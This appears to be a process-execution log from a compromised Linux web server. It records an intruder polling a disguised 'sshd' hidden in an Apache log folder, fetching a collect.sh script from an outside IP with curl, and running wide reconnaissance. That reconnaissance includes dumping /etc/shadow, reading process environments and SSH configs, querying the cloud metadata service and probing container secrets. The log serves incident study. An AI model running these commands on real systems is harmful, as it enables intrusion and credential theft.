; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f ; pgrep -f /var/log/apache2/.j/sshd -f ; sleep 30 ; sleep 30 ; pgrep -f /var/log/apache2/.j/sshd -f
2026-10-31 01:39:58Not attributedNot attributedsshd -> sshdbash ; head -2 ; pgrep -af j/sshd -f ; grep -c Server listening /var/log/apache2/.j/sshd.log
2026-10-31 01:40:03Not attributedNot attributedsshd -> sshdbash ; head -2 ; head -2 ; php -v ; wc -l ; ls /usr/lib/apache2/modules/ ; df -h ; head -5 ; wc -l ; ps aux ; cat /etc/hosts ; ls -la /var/www/.ssh ; head -3
2026-10-31 01:40:12Not attributedNot attributedbash -> bashcurl -sS -o /tmp/collect.sh http://206.245.153.56:8088/tools/collect.sh
2026-10-31 01:40:17Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat
2026-10-31 01:40:17Not attributedNot attributedsh -> shid -un
2026-10-31 01:40:17Not attributedNot attributedsh -> shgetent passwd www-data
2026-10-31 01:40:17Not attributedNot attributedtimeout -> timeoutsh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device ; sh -c echo "== lscpu"; lscpu 2>/dev/null echo "== nproc"; nproc 2>/dev/null echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null echo "== online"; cat /sys/device
2026-10-31 01:40:17Not attributedNot attributedsh -> shlscpu
2026-10-31 01:40:17Not attributedNot attributedsh -> shgetconf LONG_BIT
2026-10-31 01:40:17Not attributedNot attributedsh -> shuname -m
2026-10-31 01:40:17Not attributedNot attributedsh -> shcat /etc/debian_version /etc/alpine-release /etc/redhat-release
2026-10-31 01:40:17Not attributedNot attributedsh -> shid
2026-10-31 01:40:17Not attributedNot attributedsh -> shid
2026-10-31 01:40:17Not attributedNot attributedsh -> shtimeout 40 sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2
2026-10-31 01:40:17Not attributedNot attributedsh -> shuname -r
2026-10-31 01:40:17Not attributedNot attributedtimeout -> timeoutsh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null ; sh -c date -u id; whoami; hostname; hostname -f 2>/dev/null uname -a; uname -m; uname -r cat /etc/os-release 2>/dev/null cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null getconf LONG_BIT 2>/dev/null uptime; cat /proc/uptime echo "== virt"; systemd-detect-virt 2>/dev/null
2026-10-31 01:40:17Not attributedNot attributedsh -> shwhoami
2026-10-31 01:40:17Not attributedNot attributedsh -> shcat /etc/os-release
2026-10-31 01:40:17Not attributedNot attributedsh -> shuname -a
2026-10-31 01:40:17Not attributedNot attributedbash -> bashsh /tmp/collect.sh -i 1422 -n <REDACTED>-443-2 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0
2026-10-31 01:40:22Not attributedNot attributedsh -> shdf -iP
2026-10-31 01:40:22Not attributedNot attributedtimeout -> timeoutsh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm
2026-10-31 01:40:22Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100 echo "== lsblk"; lsblk 2>/dev/null echo "== partitions"; cat /proc/partitions 2>/dev/null echo "== du"; for d in /var/www /var/www/html /home /o
2026-10-31 01:40:22Not attributedNot attributedsh -> shdf -hP
2026-10-31 01:40:22Not attributedNot attributedsh -> shegrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo
2026-10-31 01:40:22Not attributedNot attributedsh -> shfree -m
2026-10-31 01:40:22Not attributedNot attributedsh -> shfree -h
2026-10-31 01:40:22Not attributedNot attributedtimeout -> timeoutsh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou
2026-10-31 01:40:22Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /s
2026-10-31 01:40:22Not attributedNot attributedsh -> shegrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo
2026-10-31 01:40:22Not attributedNot attributedsh -> shnproc
2026-10-31 01:40:27Not attributedNot attributedsh -> shfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\n
2026-10-31 01:40:27Not attributedNot attributedsh -> shlsblk
2026-10-31 01:40:49Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do print
2026-10-31 01:40:52Not attributedNot attributedsh -> shcat /etc/hosts
2026-10-31 01:40:52Not attributedNot attributedsh -> shcat /etc/resolv.conf
2026-10-31 01:40:52Not attributedNot attributedsh -> shcat /proc/net/udp /proc/net/udp6
2026-10-31 01:40:52Not attributedNot attributedsh -> shcat /proc/net/arp
2026-10-31 01:40:52Not attributedNot attributedtimeout -> timeoutsh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${
2026-10-31 01:40:52Not attributedNot attributedsh -> shhostname -I
2026-10-31 01:40:52Not attributedNot attributedsh -> shcat /proc/net/route
2026-10-31 01:40:52Not attributedNot attributedsh -> shcat /proc/net/tcp /proc/net/tcp6
2026-10-31 01:40:57Not attributedNot attributedsh -> shid
2026-10-31 01:40:57Not attributedNot attributedtimeout -> timeoutsh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers.
2026-10-31 01:40:57Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null echo "== group"; cat /etc/group 2>/dev/null echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40 echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20 echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /e
2026-10-31 01:40:57Not attributedNot attributedsh -> shps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss
2026-10-31 01:40:57Not attributedNot attributedsh -> shps auxww
2026-10-31 01:40:57Not attributedNot attributedsh -> shls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sock
2026-10-31 01:40:57Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load
2026-10-31 01:40:57Not attributedNot attributedtimeout -> timeoutsh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro ; sh -c echo "== ps"; ps auxww 2>/dev/null | head -150 echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50 echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250 echo "== load"; cat /pro
2026-10-31 01:40:57Not attributedNot attributedsh -> shawk function nib(c){return index("0123456789ABCDEF", toupper(c))-1} function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v} function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))} function st(c){if(c=="
2026-10-31 01:41:03Not attributedNot attributedtimeout -> timeoutsh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head ; sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort done | head
2026-10-31 01:41:03Not attributedNot attributedsh -> shls -la /root/.ssh /home/*/.ssh
2026-10-31 01:41:03Not attributedNot attributedsh -> shcat /root/.ssh/config /home/*/.ssh/config
2026-10-31 01:41:03Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== env"; env | sort echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort for p in /proc/[0-9]*; do e="$p/environ"; [ -r "$e" ] || continue echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)" tr "\0" "\n" < "$e" 2>/dev/null | sort
2026-10-31 01:41:03Not attributedNot attributedsh -> shls -la /etc/sudoers.d
2026-10-31 01:41:03Not attributedNot attributedsh -> shw
2026-10-31 01:41:03Not attributedNot attributedsh -> shls -la /root
2026-10-31 01:41:03Not attributedNot attributedsh -> shcat /etc/gshadow
2026-10-31 01:41:03Not attributedNot attributedsh -> shcat /etc/shadow
2026-10-31 01:41:03Not attributedNot attributedsh -> shwho
2026-10-31 01:41:03Not attributedNot attributedsh -> shls -la /root /home
2026-10-31 01:41:03Not attributedNot attributedsh -> shcat /etc/group
2026-10-31 01:41:03Not attributedNot attributedsh -> shcat /etc/passwd
2026-10-31 01:41:12Not attributedNot attributedtimeout -> timeoutsh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm" ; sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 echo "== rpm"
2026-10-31 01:41:12Not attributedNot attributedsh -> shls -la /etc/profile.d
2026-10-31 01:41:12Not attributedNot attributedsh -> shls -la /etc/default /etc/sysconfig
2026-10-31 01:41:12Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID" echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400 echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l echo "== apk"; apk info -v 2>/dev/null | head -300 ec
2026-10-31 01:41:17Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/
2026-10-31 01:41:17Not attributedNot attributedsh -> shcurl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-id
2026-10-31 01:41:17Not attributedNot attributedtimeout -> timeoutsh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "-- ; sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do echo "--
2026-10-31 01:41:17Not attributedNot attributedsh -> shtimeout 40 sh -c IMDS=http://169.254.169.254 c(){ curl -sS --max-time 2 "$@" 2>/dev/null; } echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60 for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
2026-10-31 01:41:17Not attributedNot attributedsh -> shls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock
2026-10-31 01:41:17Not attributedNot attributedsh -> shls -la /proc/1/root
2026-10-31 01:41:17Not attributedNot attributedsh -> shls -la /var/run/secrets/kubernetes.io/serviceaccount/
2026-10-31 01:41:17Not attributedNot attributedsh -> shls -la /run/secrets /var/run/secrets
2026-10-31 01:41:17Not attributedNot attributedsh -> shtimeout 40 sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgro
2026-10-31 01:41:17Not attributedNot attributedtimeout -> timeoutsh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30 echo "== limits"; for f in /sys/fs/cgroup/memory.m
2026-10-31 01:41:17Not attributedNot attributedsh -> shls -la /.dockerenv /run/.containerenv
